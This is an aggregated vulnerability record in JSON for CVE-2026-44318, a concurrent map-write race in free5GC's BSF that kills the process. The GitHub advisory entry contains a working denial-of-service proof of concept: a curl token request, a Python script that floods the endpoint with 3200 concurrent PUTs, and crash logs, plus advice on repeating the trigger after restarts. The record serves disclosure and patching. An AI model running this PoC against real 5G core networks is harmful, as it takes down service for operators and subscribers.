{"id":"CVE-2026-44318","revision":null,"records":[{"revision":"209288ceb2554f46823834375bd4db16","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-44318","aliases":[],"title":"free5GC: BSF concurrent PUT /nbsf-management/v1/subscriptions/{subId} crashes the BSF process via concurrent map read/write on Subscriptions","description":"free5GC is an open-source implementation of the 5G core network. Prior to 4.2.2, free5GC's BSF PUT /nbsf-management/v1/subscriptions/{subId} handler has an unsynchronized write on the global Subscriptions map. The handler first reads the map under RLock() via BSFContext.GetSubscription(subId), but if the subscription does not exist, ReplaceIndividualSubcription() writes back to the same map directly without taking the mutex (bsfContext.BsfSelf.Subscriptions[subId] = subscription). Under concurrent authenticated PUT load, one goroutine can read while another writes the map, which causes the Go runtime to abort the process with fatal error: concurrent map read and map write (Go runtime panics that come from concurrent map access bypass recover() and terminate the process). The BSF container exits with code 2 -- the entire BSF SBI surface goes down until restart. This vulnerability is fixed in 4.2.2.","state":0,"publishedAt":"2026-05-27T15:35:41.823+00:00","modifiedAt":"2026-05-27T17:35:49.998+00:00","affected":[{"ecosystem":"Vendor product","name":"free5gc","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"free5gc\",\n                    \"product\": \"free5gc\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 4.2.2\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","score":6.5,"severity":"MEDIUM"}],"references":["https://github.com/free5gc/free5gc/security/advisories/GHSA-27ph-8q4f-h7m7","https://github.com/free5gc/free5gc/issues/926","https://github.com/free5gc/bsf/pull/7","https://github.com/free5gc/bsf/commit/277908565fd628d974a13ef562b81a8b7b519ffa"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-44318","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-44318","identifiers":["CVE-2026-44318"]},"retained":false,"historicalAffected":[]},{"revision":"18de2e215f2348768c437b64f2a5d6c1","observedAt":"2026-11-09T11:03:39.848+00:00","statement":{"source":"euvd","id":"EUVD-2026-32567","aliases":["CVE-2026-44318","GHSA-27ph-8q4f-h7m7"],"title":"free5GC is an open-source implementation of the 5G core network. Prior to 4.2.2, free5GC's BSF PUT /nbsf-management/v1/subscriptions/{subId} handler has an unsynchronized write on the global Subscriptions map. The handler first reads the ma…","description":"free5GC is an open-source implementation of the 5G core network. Prior to 4.2.2, free5GC's BSF PUT /nbsf-management/v1/subscriptions/{subId} handler has an unsynchronized write on the global Subscriptions map. The handler first reads the map under RLock() via BSFContext.GetSubscription(subId), but if the subscription does not exist, ReplaceIndividualSubcription() writes back to the same map directly without taking the mutex (bsfContext.BsfSelf.Subscriptions[subId] = subscription). Under concurrent authenticated PUT load, one goroutine can read while another writes the map, which causes the Go runtime to abort the process with fatal error: concurrent map read and map write (Go runtime panics that come from concurrent map access bypass recover() and terminate the process). The BSF container exits with code 2 -- the entire BSF SBI surface goes down until restart. This vulnerability is fixed in 4.2.2.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","score":6.5,"severity":null}],"references":["https://github.com/free5gc/free5gc/security/advisories/GHSA-27ph-8q4f-h7m7","https://github.com/free5gc/free5gc/issues/926","https://github.com/free5gc/bsf/pull/7","https://github.com/free5gc/bsf/commit/277908565fd628d974a13ef562b81a8b7b519ffa"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-32567","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"May 27, 2026, 3:35:41 PM","dateUpdated":"May 27, 2026, 5:35:49 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-32567","identifiers":["EUVD-2026-32567","CVE-2026-44318","GHSA-27ph-8q4f-h7m7"]},"retained":false,"historicalAffected":[]},{"revision":"0f21f90f5ee94fb180b3f5756969ed65","observedAt":"2026-10-25T10:17:21.823+00:00","statement":{"source":"nvd","id":"CVE-2026-44318","aliases":[],"title":"free5GC is an open-source implementation of the 5G core network. Prior to 4.2.2, free5GC's BSF PUT /nbsf-management/v1/subscriptions/{subId} handler has an unsynchronized write on the global Subscriptions map. The handler first reads the ma…","description":"free5GC is an open-source implementation of the 5G core network. Prior to 4.2.2, free5GC's BSF PUT /nbsf-management/v1/subscriptions/{subId} handler has an unsynchronized write on the global Subscriptions map. The handler first reads the map under RLock() via BSFContext.GetSubscription(subId), but if the subscription does not exist, ReplaceIndividualSubcription() writes back to the same map directly without taking the mutex (bsfContext.BsfSelf.Subscriptions[subId] = subscription). Under concurrent authenticated PUT load, one goroutine can read while another writes the map, which causes the Go runtime to abort the process with fatal error: concurrent map read and map write (Go runtime panics that come from concurrent map access bypass recover() and terminate the process). The BSF container exits with code 2 -- the entire BSF SBI surface goes down until restart. This vulnerability is fixed in 4.2.2.","state":0,"publishedAt":"2026-05-27T17:16:36.887+00:00","modifiedAt":"2026-10-14T20:10:00.19+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","score":6.5,"severity":"MEDIUM"},{"system":"CVSS 3.1 · nvd@nist.gov · Primary","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H","score":5.3,"severity":"MEDIUM"}],"references":["https://github.com/free5gc/bsf/commit/277908565fd628d974a13ef562b81a8b7b519ffa","https://github.com/free5gc/bsf/pull/7","https://github.com/free5gc/free5gc/issues/926","https://github.com/free5gc/free5gc/security/advisories/GHSA-27ph-8q4f-h7m7"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44318","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-362","CWE-820"],"productCriteria":["cpe:2.3:a:free5gc:free5gc:*:*:*:*:*:*:*:*"],"sourceDates":{"published":"2026-05-27T17:16:36.887","lastModified":"2026-10-14T20:10:00.190"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-44318","identifiers":["CVE-2026-44318"]},"retained":false,"historicalAffected":[]},{"revision":"ced0284b68cf420bb2a241dd649e4e1a","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-27ph-8q4f-h7m7","aliases":["CVE-2026-44318","GO-2026-4994"],"title":"free5GC's BSF concurrent PUT /nbsf-management/v1/subscriptions/{subId} crashes the BSF process via concurrent map read/write on Subscriptions","description":"### Summary\nfree5GC's BSF `PUT /nbsf-management/v1/subscriptions/{subId}` handler has an unsynchronized write on the global `Subscriptions` map. The handler first reads the map under `RLock()` via `BSFContext.GetSubscription(subId)`, but if the subscription does not exist, `ReplaceIndividualSubcription()` writes back to the same map directly without taking the mutex (`bsfContext.BsfSelf.Subscriptions[subId] = subscription`). Under concurrent authenticated PUT load, one goroutine can read while another writes the map, which causes the Go runtime to abort the process with `fatal error: concurrent map read and map write` (Go runtime panics that come from concurrent map access bypass `recover()` and terminate the process). The BSF container exits with code `2` -- the entire BSF SBI surface goes down until restart.\n\nThis endpoint requires a valid `nbsf-management` OAuth2 access token (PR:L, NOT PR:N), so this is scored as an authenticated process-kill DoS.\n\n### Details\nValidated against the BSF container in the official Docker compose lab.\n- Source repo tag: `v4.2.1`\n- Running Docker image: `free5gc/bsf:v4.2.1`\n- Docker validation date: 2026-03-22\n- BSF endpoint: `http://10.100.200.11:8000`\n\nRead side (locked):\n```go\nfunc (c *BSFContext) GetSubscription(subId string) (*BsfSubscription, bool) {\n    c.mutex.RLock()\n    defer c.mutex.RUnlock()\n\n    sub, exists := c.Subscriptions[subId]\n    return sub, exists\n}\n```\n\nUnsafe write side in the create-if-absent branch of `ReplaceIndividualSubcription` (no `Lock()`):\n```go\nsubscription.SubId = subId\nbsfContext.BsfSelf.Subscriptions[subId] = subscription\n```\n\nUnder concurrent traffic, the Go runtime detects the unsynchronized read/write on `c.Subscriptions` and aborts the process. Go's `concurrent map read and map write` fatal is NOT a normal panic -- it is unrecoverable, Gin's recovery middleware does not catch it, and the BSF process terminates.\n\nCode evidence (paths in `free5gc/bsf`):\n- Read side (locked):\n  - `NFs/bsf/internal/sbi/processor/subscriptions.go:81`\n  - `NFs/bsf/internal/context/context.go:726`\n  - `NFs/bsf/internal/context/context.go:730`\n- Unsafe write side (the create-if-absent branch in PUT, no lock):\n  - `NFs/bsf/internal/sbi/processor/subscriptions.go:111`\n  - `NFs/bsf/internal/sbi/processor/subscriptions.go:114`\n\nThe normal locked helpers (`CreateSubscription()`, `GetSubscription()`, `UpdateSubscription()`, `DeleteSubscription()`) DO take the mutex correctly. The bug is specific to the inline write inside the PUT create-if-absent branch.\n\n### PoC\nReproduced end-to-end against the running BSF at `http://10.100.200.11:8000`.\n\n1. Obtain a valid `nbsf-management` token from NRF:\n```\ncurl -sS -X POST 'http://10.100.200.3:8000/oauth2/token' \\\n  -H 'Content-Type: application/x-www-form-urlencoded' \\\n  --data 'grant_type=client_credentials&nfType=NEF&nfInstanceId=eb9990de-4cd3-41b0-b5d9-c2102b088c57&targetNfType=BSF&scope=nbsf-management'\n```\n\n2. Send concurrent PUT requests against fresh `subId` values (the validated lab uses 64 worker threads x 50 fresh subIds = 3200 concurrent PUTs):\n```python\nimport json, threading, urllib.request\n\nTOKEN = \"<valid_nbsf_management_jwt>\"\nBASE = \"http://10.100.200.11:8000/nbsf-management/v1\"\nPAYLOAD = json.dumps({\n    \"events\": [\"PCF_BINDING_CREATION\"],\n    \"notifUri\": \"http://127.0.0.1/cb\",\n    \"notifCorreId\": \"1\",\n    \"supi\": \"imsi-208930000000003\",\n}).encode()\n\ndef send_put(i, n):\n    url = f\"{BASE}/subscriptions/race-mix-{i}-{n}\"\n    req = urllib.request.Request(url, data=PAYLOAD, method=\"PUT\")\n    req.add_header(\"Authorization\", f\"Bearer {TOKEN}\")\n    req.add_header(\"Content-Type\", \"application/json\")\n    urllib.request.urlopen(req, timeout=2).read()\n\nthreads = []\nfor i in range(64):\n    for n in range(50):\n        threads.append(threading.Thread(target=send_put, args=(i, n)))\nfor t in threads: t.start()\nfor t in threads: t.join()\n```\n\n3. BSF container logs (`docker logs bsf`) show the Go runtime fatal that terminated the process:\n```\n[INFO][BSF][Proc] Handle ReplaceIndividualSubcription\nfatal error: concurrent map read and map write\ngithub.com/free5gc/bsf/internal/sbi/processor.ReplaceIndividualSubcription(0xc000514300)\n    github.com/free5gc/bsf/internal/sbi/processor/subscriptions.go:81 +0x15f\n```\n\n4. Container state confirms exit code 2:\n```\nexited|2|0\n```\n\n### Impact\nUnsynchronized concurrent access (CWE-362) to a shared map (`BsfSelf.Subscriptions`), combined with missing synchronization on the create-if-absent branch (CWE-820). Go's runtime detects concurrent map read/write and terminates the process via a non-recoverable fatal error -- Gin's `recover()` middleware does NOT catch this class of fatal, unlike ordinary nil-deref panics. The whole BSF process exits, dropping BSF's `nbsf-management` SBI surface (PCF binding lookups for SMF, AF -> PCF binding discovery, etc.) until restart.\n\nAny party that holds (or can obtain) a valid `nbsf-management` token can:\n- Drive the create-if-absent code path at high concurrency by PUTting a stream of fresh `subId` values, deterministically tripping the runtime fatal and killing the BSF process.\n- Repeat the trigger after every restart to sustain the outage.\n\nNo Confidentiality impact (the crash returns no attacker-readable data). No persistent Integrity impact (BSF subscription state is in-memory and is lost when the process dies). The whole impact concentrates in Availability: complete loss of BSF service via concurrent attacker traffic on a single endpoint.\n\nAffected: free5gc v4.2.1.\n\nUpstream issue: https://github.com/free5gc/free5gc/issues/926\nUpstream fix: https://github.com/free5gc/bsf/pull/7","state":0,"publishedAt":"2026-05-08T22:41:48+00:00","modifiedAt":"2026-06-08T20:15:13.3365072+00:00","affected":[{"ecosystem":"Go","name":"github.com/free5gc/bsf","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"1.0.2"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/free5gc/free5gc/security/advisories/GHSA-27ph-8q4f-h7m7","https://nvd.nist.gov/vuln/detail/CVE-2026-44318","https://github.com/free5gc/free5gc/issues/926","https://github.com/free5gc/bsf/pull/7","https://github.com/free5gc/bsf/commit/277908565fd628d974a13ef562b81a8b7b519ffa","https://github.com/free5gc/free5gc"],"sourceUrl":"https://github.com/advisories/GHSA-27ph-8q4f-h7m7","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-27ph-8q4f-h7m7","identifiers":["GHSA-27ph-8q4f-h7m7","CVE-2026-44318","GO-2026-4994"]},"retained":false,"historicalAffected":[]},{"revision":"d1cffcede4264d2f9b0df6df60acc03f","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-4994","aliases":["CVE-2026-44318","GHSA-27ph-8q4f-h7m7"],"title":"free5GC's BSF concurrent PUT /nbsf-management/v1/subscriptions/{subId} crashes the BSF process via concurrent map read/write on Subscriptions in github.com/free5gc/bsf","description":"free5GC's BSF concurrent PUT /nbsf-management/v1/subscriptions/{subId} crashes the BSF process via concurrent map read/write on Subscriptions in github.com/free5gc/bsf","state":0,"publishedAt":"2026-05-20T19:07:16+00:00","modifiedAt":"2026-05-20T19:30:13.0248442+00:00","affected":[{"ecosystem":"Go","name":"github.com/free5gc/bsf","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"1.0.2"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/free5gc/free5gc/security/advisories/GHSA-27ph-8q4f-h7m7","https://github.com/free5gc/bsf/commit/277908565fd628d974a13ef562b81a8b7b519ffa","https://github.com/free5gc/bsf/pull/7","https://github.com/free5gc/free5gc/issues/926"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-4994","license":"OSV · upstream source license applies","key":"osv:GO-2026-4994","identifiers":["GO-2026-4994","CVE-2026-44318","GHSA-27ph-8q4f-h7m7"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. 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